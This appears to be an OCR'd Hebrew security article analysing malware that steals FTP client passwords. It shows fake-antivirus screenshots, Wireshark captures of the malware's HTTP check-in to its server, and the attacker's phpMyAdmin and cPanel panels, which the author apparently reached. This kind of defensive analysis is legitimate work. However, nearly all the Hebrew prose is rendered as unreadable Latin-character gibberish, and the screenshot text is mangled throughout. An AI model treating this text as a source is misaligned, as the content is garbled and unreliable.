http://www.flashfxp.com/
http://www.cuteftp.com/

Technologi

FTP " anx wio'n ,(hon X7 n7w Password Manager-7 Daw) "FileZilla" "nx wio'n
."Bullet Proof FTP" "'nX wi9'n ,"Commander Deluxe/Pro

...oon FTP nidin 77wl

LNYIY KID NN 207 720 2T K79, 0 2 IR yan'? [N X7 ,fd1a245s4_868.exe-7 "W
NNI7NN DX Y'OPN7 'RONKY 170NN RIN AXIN 70D

3 http:Hitryv.eu - My computer, Online Scan - Microsoft Internet Explorer.

System Tasks System scan progress

Wiew system information B
! { Shared Documents
or re:
& 17 trojans
Hard drives
Other Places - % Windows Security Alert
@ Local Disk (1)
& iy Network Flaces ¥ 24 trojans To help protect your computer, Windows Web Security has
oo detected trojans and ready to remave them.
(o ected spyware are uter:  Filename:
h DVD-RAM Drive (E:)|
]

) Admess.Trojan Eepservie2. exe
Details .

Z5erv.dl

Sean complete.

My Computer wstart.dil
System Folder

= Sl . vl
: Remove all

Threats and actions:

eme -
@ Hackatack move =
@ Email-worm.win3z. I
@ Trojan-Downloader.win  Critical 16.04.2006 35 Register &Remove i

akentially dangsrous For your system, HAckaTack stealng passwords, credit cards and other persanal
your computer.

2 httpifflryv.eu -1

7w 1x') CWD-2 yaj7a INTIN INKRY? DT YAl DY DIy KN D700 901N NIYYIXPN 10In
"NINdWI" NIFP'Ma 0NI¥NY) D'¥AEN XYY T2 Y Da Xin ownl (Current Working Directory
NNTAN NN .ATIYN NI7'WO NINT? AN 0NN 17'9X8 -wnnun? awoxnn 1T ,('n1 %Temp% |12

WUNNYUNN 7 NTIAYN N7IY 7V X 0IY9 YaIpn - [9T9TN 7¢ 7Thnn nna
) Clone of Windows XP Professional - VMware Workstation

© File Edit View VM Team Windows Help

an@e GGk DEeC DEE

4 Home X |@ Back[Track>4 X & Windows Server 2003 Enterpri... X |gu Win(

dE1B24554 000

Procmon

17 NI0NWAL NYRINN W 71000 DY IN'R SN YN 2707 1ATH VAN NN 7D N
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http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/

Technoloqgic

q0N yTm 7w Stream INWI ,0MIN1Q o'xap 7¢ DTN LP120'"9] NIVTIN ,D'UPND'? D'UPNO |2
:NNAIT? ,TNI'MA DN'MVN D'UPNRO 150N n'7221 -nivnun

"4 Follow TCP Stream

Skrearn Content

a_them

HTTP/1.1 200 oK =
Date: sat, 0% oct 2010 18:36:44 GMT

server: aApaches2.2.4 (Fedora)

Last-modified: Tue, 13 Apr 2010 22:33:31 GMT

ETag: "1365bc-427-do%ez284c0"

Accept-Ranges: bytes

Content-Length: 1063

Connection: clase

Content-Type: text/css

Lprint_i %;nor"e 1

dispTay: none;
i
hody, table, th, td {
color: #000000;
background-color: #FFFFFF;
font-size: Bpt;
[0, — v
[Save Es]| Entire conversation (1794 bytes) A ‘O ASCIT () EBCDIC () Hex Dump () C Arrays (3) Raw

71N NOYN 7w NINTIAN TMY7 ,'TAT ["yn [DIXA ,Myan [9T9TN 0T TNy IMIXY M0 TWUKRD
:phpMyAdmin -n'wsinn DININ "TON
+ phphiyAdmin [

-F -0 4 http:// V v ||| |D

php
Welcome to phpMyAdmin
Languag
English E
rLog in
Username: H |
Password:

(i) Cookies must be enabled past this point.
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:cPanel DA 'MRXN MY INIX 7V

cPanel® [
~# -0 4 % D €

1f you can the ] tl er
content to this d\r..tun and replace this placeholder page, the er at their real c

contact the ad strator of the site involved. y ga ¢ t gh tl running

part of the Apache Group's many influential projects. Their efforts

NNAIT? .NO0X NY7INNY DININ DA IN7WI ATH MWD X1

-Stream Content

SET /.DSEDt/?

acti0n=f genémode=s&age=5&a=-1065322913&y=135&Fh1ogin=0&defbrowser=ie&ie=5, 0. 2900, 2180
HTTP/1.1

HosT :

User-agent : M02111af4 0 (compatible; MSIE 7.0; na; J

Content-type: applicationsx-www-faorm- urlencodad

Connection: close

HTTF/1.1 200 0K

Date: Mon, 11 oct 2010 21:52:38 GMT
Server: Apache

W-Powered-EBy: PHP/4.4.9

Connection: close
Transfer-encoding: chunked
Ccontent-Type: Text/html

16

#ELACKLABEL

#ELUELABEL

P I 4
PN I 9...<w. . >IP. Tunho. 71,/3 .

. I ] .......... {s...BI.. R T
RO S B, 1:R. ].....G~ od. ...
5:.rB

“ |O aSCIL () EBCDIC () Hex Dump () © Arrays (3) Raw

l Close ] [ Filker Out This Stream
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NNN NNl ,ny7ima Hard-Coded Ni'n'? oimx n>vnNN 7¢ NINTIAN '019 -IWUKRIN 1NN 197
NINT? DMK X WireShark 7w 01?2 nivonon ' 7y 0IY9S |3 1D .DNIX RIXNT7 NN IX ARA'T
.DNIX 2127 DI -Pwnn? NINTIN '019 D'N7W] 12 VPZRON NN

D2 NDWNT7 NINTINT NdNY X7 79D Ny72Imn -0'wo0 n7Rd DI'R NY2INN MX D 1anon X
NI , MWD 7V yamw php YaI77 Nwa TINN VIYD X'D,NYIAN NINNN 7V yTNI 0'019 0007
NY7INY7 Y'Y NONIR NIXT . TON DNIX [ONXY? 'R YTI' 12D yalpnl GET NIYpaa yThan DX 1DINY

QN7 IR PInn? 7y 02T K9Y 00 vy RNE7 X7 DIR DIYA R ,YUTN YT 2IMDY7 NINYONR

MR NK7Y TIAX 7?0 X7 ,NDWN NNIMYA NIR'oN T JNIF XD VI9X X7 ,NATOXRN NINnY
A'WN71 NDYNN N 78 01007 'MNYXN LI'7Y D12IN1 190N N TAI 'Izn NNY 7Y N'9'¥950N NdDWwNn
NIOXY? "7 CWWORY ,NDWNN NPNN )'70N 7w vaITA A191pa nnta nw7inn L72mn nwna '
(FaceBook 7w ix'7 nx112) "fb" Dwa D1IN) TON 1'PNN INNTYAY AXIIADAPN YAl DX TN

JIDYN] 'MNxYNY TN

s - ™
~& -0 ||« hitp:// % A O >
php 3.3.2 setup
Overvien Configuration file
Features
$1=0; -

Navigation frame

/% Server: fb [1] */

$i+4;

Import Scfg['Servers'] [§i]['verbose'] = 'fb';
$cfg['Servers'] [§i]['host'] = 'localhest';

Export Scfg['Servers'] [§i]['port'] = 3306;
$cfg['Servers'][$i]['socket'] = "'
$cfg['Servers'] [$1] ['connect_type'] = 'tep':
Scfg['Servers'] [$i]['extension'] = 'mysqli’;
Scfg['Servers'] [§i] ['auth_type'] = 'http';
$cfg['Servers'] [§i]['user'] = * i
$cfg['Servers'] [$1i]['password'] = ' :
$cfg['Servers'] [$i]['auth swekey config'] = './swekey.conf';

Main frame

I

/* End of servers configuration */

$cfg['Defaulrlang’] = ‘'en-utf-8';
$cfg['blowfish secret'] = '4cbOca51188ebl.38291884°; >
$cfg['ServerDefault'] = 1;

Save

NN LL7nnn punn 79 nno'on DN DIMIN TON NINTTAN ‘019w 779Nn7 ' wn A7wn
.[122> "anonw
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x | =
8 it o

& -0 K\« http:// (D €

Language
php 3.3.2 setup En;‘af =]

) Overview
Overview

Features

L Cannot load or save configuration
Navigation frame

Please create web server writable folder config in phpMyAdmin top level directory as described in documentation. Otherwise you will be only able to download or
display it.

Main frame

Import

Export Show hidden messages (4
Servers
# Name Authentication type  DSN
L hitp mysqli/localhost  Edit| Delete

Configuration file

Default language English [=]
Default server fo [1] El
End of line UNIX / Linux (\n) E

Save ] (Load ) [ Delete

phpMyAdmin homepage Donate Check for latest version

© GAME OVER!

212°9

NNTAN IR MY N TV NANIY DAININ ToN 72 IR MpNAY X' DT INIKA 79 DIMNNN "IN
(NX70 21 10N MiI7y DY) N7Y DMWY ARYMIY NI7'YON 7Y [I0N'RN NNANY MNIETE DINTTNN
SO 'R MWL MA0] ["NIT + [ION'RN NOY Y 1I'7X [IAWNN 17X NNIY NANDY7 1)

790777 ,0'WUTN D'NOY DY WPN7 DY72INN T NRDY? Qva Div 'R Y70 Annty XN avan
.7120"'92 N7IXD NISPNN 7w qoin 72 MIx'7

NINY .N1Y NN DNTAY DN AR Digital Whisper ['Tand DON9n XY 121010 [IWRY NRN INT
UIN'y 0I'D D'YIY D'MTENN DY7INI1 D'0N'IY X' N'YRN MYT ,TINA 2N [MIYN XY RID D'Y7IN
NY7IM2 NaITA At X7 N9Y '9'YO0N NN .01AYWNNAN D71Y2 YD AYIT NRAI71D00 K'wA
NIMAI71002 YIN'Y DIY XD 'R -NNIXK 1'NONY7 101 K71 ULYND N'ANDPY NIXY? TWONI TN NdAION
NX1Y'M9ON NIYIXZA 101N 177N 0'YIoN DN NI 0'UIY9N Rootkits-n NX Nvorny
7Y ON' DONINN 2¥Na YA X7 L(ANYxn XA NIYY? anfxn ny7mne wyan 5 nnnt o
nIrn ('MPN "IRY X012 X7 NINYY) Bot-Net a10n Ny7ima 1aim 'K ,0'10190 75 NiNn? .nTnn
MZn NN17 ["ayn DRk o 2120 7an1) n7u9nn oY Yina NITMwN DNFNYRNN 772 1vxin X1
NNIXI VIZNX NNA 722-01NKN NNT'07 ATN RN DX )I9NK MYTY XN 01 NAT (Y

.NTN ["2ynn 071N DX NP AI0 2071 NIRIYD Y¥AY? 72109 D ,NONR W7
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